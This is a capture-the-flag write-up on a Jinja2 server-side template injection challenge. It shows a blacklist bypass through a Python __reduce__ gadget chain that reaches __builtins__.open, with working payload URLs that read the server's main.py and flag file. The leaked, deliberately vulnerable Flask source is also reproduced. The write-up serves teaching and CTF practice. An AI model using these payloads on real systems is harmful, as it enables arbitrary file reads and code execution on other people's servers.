This was another Jinja2 template injection challenge (they've been showing up a lot recently).
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - Exploring SSTI in Jinja2
There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - Zumbo3
For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.
Initial Bug
Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):
GET http://web.euristica.in/hard_to_hack/index?data={{config}} <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'main', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>
In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...
Some gadgets to watch out for:
<built-in function globals> # check for any useful variables or flags in the global scope <built-in function locals> # check for any useful variables or flags in the local scope <built-in function dir> # introspect a python object, useful for finding other gadgets <built-in function open> # read a file from the file system, such as a flag or the main.py source <module 'sys' (built-in)> # leak 'version' of python or 'argv' used <module 'os' from ' ... > # run system commands using system() call <module 'commands' ... > # run system commands using getoutput() call func_code # if this is available, it could leak the version of python used func_globals # get access to a function's global variables __builtins__ # very useful standard functions pulled in by the python runtime __reduce__ / __reduce_ex__ # create new code objects using pickle
This is not an exhaustive list, but some of these may be useful.
Python Reduce SSTI Gadget
Not sure if this technique has been used before, but it worked well on this challenge.
First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):
>>> x = None >>> x.__reduce__(42) (<function __newobj__ at 0x10038ac80>, (<type 'NoneType'>,), None, None, None) >>> x.__reduce__(42)[0] <function __newobj__ at 0x10038ac80> >>> dir(a.__reduce__(42)[0]) ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
Now we have some useful variables to play with, a couple nice ones for this challenge:
# Leak python version (good for syncing local version of python to dictionary value offsets): >>> x.__reduce__(42)[0].func_code <code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92> # Function globals (good to use as gadgets) >>> x.__reduce__(42)[0].func_globals.values() [{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...
Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.
For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.
Looking through this we can find the '__builtins__' key on index 12:
>>> x.__reduce__(42)[0].func_globals.keys()[12] '__builtins__'
Using '__builtins__' and checking out the values, we can also see open, this will allow us to read any file the server has access to!
>>> x.__reduce__(42)[0].func_globals.values()[12].keys() [..., 'LookupError', 'open', 'quit', 'basestring', ...] >>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]
The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.
Now we just use open and read in a stub flag for now:
$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag $ python >>> x = None >>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read() 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'
Leaking the Source
Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.
This was the result of finding the open() function in the function globals, reading in the server source:
{{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./main.py').read()}}
from flask import Flask , request, render_template,render_template_string app=Flask(__name__) @app.route('/') def root(): return render_template('home.html') @app.route('/index',methods=['POST','GET']) def homepage(): data='{{4}}' blacklist = ['__class__','class','mro','subclass','request[','shutdown','SHUTDOWN','server'] try: data=request.form['data'] except: data=request.args.get('data') try: for bad_string in blacklist: if bad_string in data: return '>h1<HACK ATTEMPT Detected>/h1<{}' except: return '>h1<Sigh! A request is needed with 'data' parameter' try: return render_template_string(data) except: return ('>h1<Please don\'t mess with me>/h1<') if __name__ == '__main__': app.run(debug=True)
Final Payload
Running the last payload with './flag' on their web server we drop the final flag:
http://web.euristica.in/hard_to_hack/index?data={{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()}} flag{BlackListing_N3Ver_H3lp3d_An40ne}
(First Image in post from - http://www.taleofgenji.org/ota.html)